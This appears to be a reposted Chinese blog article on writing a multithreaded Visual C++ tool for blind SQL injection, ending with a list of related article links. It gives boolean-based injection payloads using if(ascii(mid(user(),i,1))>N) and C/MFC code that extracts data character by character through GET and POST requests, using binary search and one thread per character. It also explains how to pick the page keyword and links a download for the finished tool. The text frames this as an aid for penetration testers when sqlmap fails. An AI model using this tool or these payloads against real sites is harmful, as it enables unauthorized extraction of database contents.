VC編寫多執行緒sql盲注工具.doc
對於白帽子來說,最鍾愛的SQL
注入工具莫過於sqlmap
。隨著攻防對抗的升級,sql
注入漏洞呈明顯下降的趨勢,同時也呈現出難發現、難利用的特點。在實際測試的時候發現,有時明明手工確認的注入,丟進sqlmap
確無法識別出來。於是乎就有了各種py
指令碼來跑資料。通常找到一個注入在sqlmap
識別不出或者無法跑出資料的情況下,到處找合適的指令碼,然後再修改,如果對PY指令碼熟悉,可能也來的快,但是假如對PY
指令碼不是很熟悉,每次必然花費大量精力和時間在此上面。因此在常用工具無法識別SQL
注入或者無法跑出資料的時候,用VC
做一個通用GU
I框架,採用半自動、多執行緒併發的方式來進行SQL
盲注,就顯得既方便又節約時間。程式介面設計如圖(只為功能,不求美觀):
如果常用的比較強大的注入工具能識別、能跑出資料當然就不需要該工具,也就當其他工具無法識別,我們也能構造出payload
證明注入的存在時,這時候我們只需將構造好的payload
填入工具的引數裡,讓工具幫我們自動出資料,這是工具的設計初衷。通常sql
注入有兩種請求資料方式一種是get
,一種是post
。存在注入的引數一般在請求的url
中或者post
的data
資料中,我們將分兩種情況來設計該注入工具。
0x00 GET方式注入
對於此方式,注入引數在URL地址裡,我們需要填好URL
和頁面差異字串就可以了。比如我們在測試的時候,找到一個注入點,並且構造好了出資料的注入語句類似如下:
http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>1),"d",1)+"ef/
這裡透過改變mid
第二個引數的值可以遍歷猜解user()
的每個字元,這樣就有兩個變數了,這是其中一個,這裡命名為A
,A
的取值在於USER
的長度比如1-20。另一個就是>
後面的數字,命名為B
,B
的取值範圍設為32-126,這個範圍包含了所有可見字元的ASC
碼,透過改變該數字B
我們就可以得到對應的每個正確的字元。通常情況下我們構造的注入語句如果為真即ascii(mid(user(),1,1))>1
成立,那麼返回正常頁面,如果不成立返回其他頁面。我們把正常頁面裡有而異常頁面裡沒有的一個字串作為keyword
。比如訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/
後返回正常頁面包含keyword
,訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>101),"d",1)+"ef/
後返回異常頁面沒有keyword
,這樣我們就判斷出ascii(mid(user(),1,1))=101
。
那麼我們設計程式的時候我們把A
B
兩個變數用*
代替以告訴程式它們是需要改變的,把keyword
也提交給程式,告訴它得到keyword
的時候就表示訪問的頁面裡的注入語句為真,否則為假。這樣就可以讓程式自動迴圈遍歷所有的其他字元了。由於涉及迴圈裡面介面顯示的問題,所以猜解函式務必要放到執行緒裡面,否則介面會卡死。
為了減少猜解時間,這裡我們採用二分法查詢資料(由於業餘程式設計,程式碼只為實現功能,編碼不好,請諒解),其關鍵程式碼如下:
#!c
left=32; //設定二分法查詢初始值,範圍就是可見字元的ASC碼範圍
right=126;
while((right-left)!=1)
//二分法查詢,當某次命中目標時,由於是(假如)
//用>判斷,所以值域範圍將左移到左邊中間點,接
//著再慢慢向右移動,由於是二分取整操作,那麼直//到left、 right差為1的時候 判斷會結束,這時right
//就是最終值了。<號時 相反 最終取值left。
{
strcpy(url,ysurl); //用指標來操作字串,有點臃腫
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
char buf[3];
itoa(i,buf,10); //猜解第i位
strcat(url,buf);
strcat(url,p1); //這部分定位2個*的位置 並處理好URL,
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
p1=strstr(p1,"*");
p1++;
j=(left+right)/2;
itoa(j,buf,10);
strcat(url,buf);
strcat(url,p1);
wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult);
//設定列表框顯示
CInternetSession session("HttpClient");
CHttpFile* pfile = (CHttpFile *)session.OpenURL(url); //get方式 訪問url
DWORD dwStatusCode;
pfile -> QueryInfoStatusCode(dwStatusCode);
if(dwStatusCode == HTTP_STATUS_OK)
{
CString data;
while (pfile -> ReadString(data))
{
content += data + "\r\n";
}
content.TrimRight();//獲得請求url後頁面返回內容
//printf(" %s\n " ,(LPCTSTR)content);
}
pfile -> Close();
delete pfile;
session.Close();
if (large==1) //如果比較的時候用的是>的情況
{
if(content.Find(keyword)>0) //從返回內容查詢是否有keyword
left=j;
else right=j;
}
Else //比較符為<時的情況
{
if(content.Find(keyword)>0)
right=j;
else left=j;
}
content.Empty();
dresult.Delete(dresult.GetLength()-1,1);
}
if(large==1)
{
rbuf[i-1]=(char)right; //如果是> right作為迴圈結束後的結果
wsprintf(buf,"%c\r\n",right);
}
Else ////如果是< left作為迴圈結束後的結果
{
rbuf[i-1]=(char)left;
wsprintf(buf,"%c\r\n",left);
}
dresult+=buf;
dresult+=" ok!";//第i位結果猜解完畢
接下來我們把這段程式碼放在另外一個迴圈裡for(i=1,i<21,i++)
這樣就可以迴圈遍歷user每一位字元。多執行緒我們放到最後來講。
0x01 POST方式注入
和get
方式不同的地方,這裡post
注入引數在data
中,其實放在哪裡都沒關係,主要的是要將資料向對方80
埠傳送出去,最後我們要獲取返回內容並根據keyword
來判斷條件的真假,最終確定我們想要得到的每個字元。與GET
方式不同的是我們需要實現一個函式,來向伺服器post
請求資料,完整程式碼如下:
#!c
CString Postdata(char *url,char *data) //傳遞兩個引數 url 和data
{
LPTSTR AcceptTypes[2] = {TEXT("*/*"), NULL}; //接受檔案的型別
CString strHeaders = _T("Content-Type: application/x-www-form-urlencoded\r\n");
charszReferer[100] = "http://www.test.com";
CString szFormData = data; //post的”引數“
HINTERNET hSession;
HINTERNET hConnect;
HINTERNET hRequest;
BOOL bReturn = FALSE;
char *p1,*p2;
p1=strstr(url,"//"); //對url處理 獲得伺服器地址 以及訪問目錄
p1+=2;
p2=strstr(p1,"/");
char host[100];
memset(host,0,100);
strncpy(host,p1,p2-p1);
p2++;
char road[100];
memset(road,0,100);
strcpy(road,p2); // 建立HTTP請求
hSession = InternetOpen("AutoVoteVisPostMethod",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
hConnect = InternetConnect(hSession,host,
INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,1); hRequest = HttpOpenRequest(hConnect,"POST",road,
"HTTP/1.1",szReferer,(LPCSTR *)&AcceptTypes,INTERNET_FLAG_RELOAD,1); // 提交資料
LPVOID pBuf = (LPVOID)szFormData.GetBuffer(szFormData.GetLength());
bReturn = HttpSendRequest(hRequest,
strHeaders,-1L,pBuf,szFormData.GetLength());
char szRecvBuf[1024]; // 接受資料緩衝區
DWORD dwNumberOfBytesRead; // 伺服器返回大小
DWORD dwRecvTotalSize=0; // 接受資料總大小
DWORD dwRecvBuffSize=0; // 接受資料buf的大小
CFile m_File; // 將返回資料寫入檔案
CString strTemp,mystr; // 臨時訊息框
memset(szRecvBuf,0,1024);
do
{
// 開始讀取資料
bReturn = InternetReadFile(hRequest,szRecvBuf,1024,&dwNumberOfBytesRead);
szRecvBuf[dwNumberOfBytesRead] = '\0';
dwRecvTotalSize += dwNumberOfBytesRead;
dwRecvBuffSize += strlen(szRecvBuf);
mystr+=szRecvBuf;
} while(dwNumberOfBytesRead !=0);
return mystr;
}
接下來就和GET
方式注入大同小異了,主要就是根據返回的內容以及keyword
來判斷確定每個字元。關鍵程式碼如下:
#!c
i=SomeParam1->i;
//和GET方式不同,這裡用CString類來對字串操作 看起來要美觀一點
mdata.Delete(index1,1); //刪除*
itoa(i,buf,10);
mdata.Insert(index1,buf); //插入i
if(i>9)
{
index2+=1;//前面*位置插入了2個字元 後面*的位置要加1了
}
//以後長度就固定了 不用
char buf2[30];
wsprintf(buf2,"猜解第%d位:",i);
dresult+=buf2;
thelist->InsertItem(i-1,dresult,0);
while((right-left)!=1)
{
CString rdata;
mdata.Delete(index2,1);
if(j>10)mdata.Delete(index2,1); //之前插入2位字元那麼就要多刪一次
if(j>99)mdata.Delete(index2,1); //三位就再多刪一次
j=(left+right)/2;
itoa(j,buf,10);
mdata.Insert(index2,buf); //插入j 參與比較的字元的ASC碼
wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult); //顯示當前參與比較的字元
CString tdata;
tdata=mdata;
rdata=Postdata(url,tdata.GetBuffer(tdata.GetLength()));//傳送post請求
if (large==1) //這裡和get方式類似
{
if(rdata.Find(keyword.GetBuffer(keyword.GetLength()))>0)
left=j;
else right=j;
}
dresult.Delete(dresult.GetLength()-1,1); //刪除當前參與比較的字元,即
} //在原位置顯示下一個參與比較的字元
if(large==1)
{
rbuf[i-1]=(char)right;
wsprintf(buf,"%c\r\n",right);
}
dresult+=buf; //得到結果
dresult+=" ok!";
thelist->SetItemText(i-1,0,dresult);
0x02 多執行緒併發注入
如果我們把每個字元的猜解都開一個執行緒,那麼將大大提高猜解的時間。由於原本我們顯示是用的文字控制元件,那麼多執行緒的時候是沒辦法完全顯示猜解的過程的。於是必須改用列表控制元件。這樣每個執行緒i對應一個顯示行,這樣就可以完整顯示猜解過程了。但是還有個問題,這個列表控制元件是不可編輯的,也就是最終的結果不能複製下來,這樣是很不方便的。
經過左思右想,我們可以定義一個字元陣列char rbuf[20]
,rbuf[]
陣列初始化為20個空格,每開一個執行緒得到的結果就放到rbuf[i]
裡,每一個執行緒結束的時候都進行一次顯示設定:
myresult=rbuf;
kjResult->SetWindowText(myresult); //顯示到文字控制元件裡
這樣當一個執行緒結束時會顯示一次rbuf
陣列的字元,如果猜解出來的就顯示出來,沒猜解出來的顯示的就是空格,當最後一個執行緒結束的時候,rbuf
儲存的是所有執行緒的猜解結果,就完全顯示出來了。顯示問題解決後,那麼接著解決多執行緒問題:
首先將我們的post
、get
猜解函式定義成多執行緒函式格式:
static UINT __cdecl MyGetInject(LPVOID lpParam);
static UINT __cdecl MyPostInject(LPVOID lpParam);
由於是static
的 那麼我們初始化時自動生成的控制元件變數都是不可以寫進上面的函式里的。所以必須首先定義個結構體,然後把這些變數透過結構體傳遞給執行緒函式,結構體如下:
#!c
struct Param
{
int i; //user長度,迴圈次數,也時執行緒數
CString url; //請求的url 這些是需要透過控制元件變數傳遞來的
CString keyword;
CString data;
CEdit *result; //顯示最後結果的控制元件變數
CListCtrl *list; //顯示猜解過程的控制元件變數
};
萬事具備之後,我們就可以迴圈開啟執行緒了:
#!c
Param SomeParam;
SomeParam.url=m_url;
SomeParam.keyword=m_key;
SomeParam.result=lresult;
SomeParam.data=m_data;
SomeParam.list=(CListCtrl *)GetDlgItem(IDC_LIST2);
int i=0;
for(i=0;i<21;i++)
{
SomeParam.i=i;
AfxBeginThread(MyPostInject,(LPVOID)&SomeParam);//迴圈開啟猜解執行緒
Sleep(1); //要sleep一下 否則第一條顯示有問題,還沒來得及 後面的執行緒就會吞沒它的
}
到此我們的盲注輔助工具就算完工了。程式猜解過程介面如圖(GET 方式): 所有執行緒都還沒猜解出結果時:
部分執行緒猜解除結果時:
所有執行緒猜解完畢時:
0x03 總結
1、使用的時候請務必提供注入所需要的引數,否則程式會崩潰。使用方法: http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/
如果猜解user()
,那麼就改成http://a.abc.com/abc"+if((ascii(mid(user(),*,1))>*),"d",1)+"ef/
,注入引數裡需要兩個*
。也可以將user()
換成其他的,比如@@version
等。
訪問http://a.abc.com/abcef/
選擇一個非漢字的字串作為keyword
,同時訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>255),"d",1)+"ef/
檢查下這個頁面沒有keyword
,那麼這個keyword才可用。
2、程式限定了開20個執行緒,猜解欄位名的前20個字元。
3、本程式只是在其他強大的注入工具無法識別或者不能出資料的時候,以作檢測證明之用。當然您也可以用py指令碼,可以靈活修改。望此文起拋磚引玉之效!
4、下載地址:http://yunpan.cn/cmYhLZP983U6J(提取碼:3abe
)
相關文章
- VC多執行緒 C++ 多執行緒2010-12-27執行緒C++
- SQL盲注工具BBQSQL2017-04-11SQL
- sql注入——盲注2024-03-18SQL
- 請教一個多執行緒編寫的題!2006-04-27執行緒
- vc入門寶典六(多執行緒) (轉)2007-12-14執行緒
- 使用 C++11 編寫 Linux 多執行緒程式2014-12-15C++Linux執行緒
- 使用 C++ 11 編寫 Linux 多執行緒程式2014-12-15C++Linux執行緒
- GCD 多執行緒安全 單寫多讀2017-02-22GC執行緒
- 用VB編寫非同步多執行緒下載程式 (轉)2007-12-04非同步執行緒
- ftp多執行緒下載工具2024-03-23FTP執行緒
- VC++ 執行緒同步(轉)2013-10-06C++執行緒
- 多執行緒和多執行緒同步2024-08-22執行緒
- 編寫程式/執行緒監視器2013-05-16執行緒
- 編寫高效的執行緒安全類2007-08-24執行緒
- 多執行緒【執行緒池】2021-02-20執行緒
- 多執行緒--執行緒管理2018-07-31執行緒
- Java多執行緒——執行緒2017-03-16Java執行緒
- 執行緒與多執行緒2024-08-11執行緒
- 大話Android多執行緒(六) AsyncTask知識掃盲2018-02-16Android執行緒
- 同時具備多執行緒和多程式安全的寫日誌工具2015-05-04執行緒
- 多執行緒-執行緒控制之休眠執行緒2017-06-02執行緒
- 多執行緒-執行緒控制之加入執行緒2017-06-02執行緒
- 多執行緒-執行緒控制之禮讓執行緒2017-06-02執行緒
- 多執行緒-執行緒控制之中斷執行緒2017-06-02執行緒
- 編寫多執行緒應用程式,模擬多個人通過一個山洞:2017-09-18執行緒
- 執行緒安全-一個VC下多個網路請求2014-10-27執行緒
- 多執行緒之初識執行緒2020-06-30執行緒
- Java多執行緒-執行緒中止2019-08-26Java執行緒
- Java多執行緒——執行緒池2017-03-12Java執行緒
- 多執行緒-執行緒概述等2017-05-30執行緒
- 多執行緒系列(1),多執行緒基礎2020-08-20執行緒
- 多執行緒系列(二):多執行緒基礎2015-07-08執行緒
- 多執行緒------執行緒與程式/執行緒排程/建立執行緒2020-12-31執行緒
- 多執行緒-執行緒控制之守護執行緒2017-06-02執行緒
- 多執行緒與併發----讀寫鎖2018-05-12執行緒
- Java 共享資料讀寫(多執行緒)2017-08-10Java執行緒
- a、多執行緒2024-03-14執行緒
- java 多執行緒守護執行緒2020-04-01Java執行緒